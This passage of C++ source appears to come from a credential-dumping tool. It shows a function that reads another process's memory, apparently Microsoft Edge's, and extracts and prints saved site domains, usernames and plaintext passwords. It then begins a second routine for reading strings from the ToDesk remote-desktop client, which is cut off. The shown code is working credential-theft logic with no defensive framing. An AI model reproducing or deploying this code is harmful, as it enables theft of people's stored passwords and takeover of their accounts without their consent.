| 174 | } |
| 175 | } |
| 176 | void ReadPassEdge(HANDLE hProcess, int64_t address, char len) { |
| 177 | unsigned char* buf = (unsigned char*)malloc(len + 1); |
| 178 | if (buf == 0 || !ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(address), buf, len + 1, nullptr)) { |
| 179 | PRINT("Failed to read cookie value"); |
| 180 | free(buf); |
| 181 | return; |
| 182 | } |
| 183 | buf[len] = '\0'; |
| 184 | |
| 185 | const char* http = NULL; |
| 186 | char* domain = NULL; |
| 187 | char* username = NULL; |
| 188 | char* password = NULL; |
| 189 | char* context = NULL; |
| 190 | |
| 191 | char* token = strtok_s((char*)buf, " ", &context); |
| 192 | if (token) domain = token; |
| 193 | if (token) { |
| 194 | domain = token; |
| 195 | size_t len = strlen(domain); |
| 196 | if (len > 0) { |
| 197 | if (domain[len - 1] == 's') { |
| 198 | http = "https"; |
| 199 | domain[len - 5] = '\0'; |
| 200 | } |
| 201 | else { |
| 202 | http = "http"; |
| 203 | domain[len - 4] = '\0'; |
| 204 | } |
| 205 | } |
| 206 | } |
| 207 | token = strtok_s(NULL, " ", &context); |
| 208 | if (token) username = token; |
| 209 | token = strtok_s(NULL, " ", &context); |
| 210 | if (token) password = token; |
| 211 | PRINT(" Domain: %s://%s\n", http, domain); |
| 212 | PRINT(" Username: %s\n", username); |
| 213 | PRINT(" Password: %s\n", password); |
| 214 | } |
| 215 | void ReadStringTodesk(HANDLE hProcess, TodeskString string, int64_t address) { |
| 216 | unsigned char* buf = (unsigned char*)malloc(string.len + 1); |
| 217 | if (string.len < 0x10) { |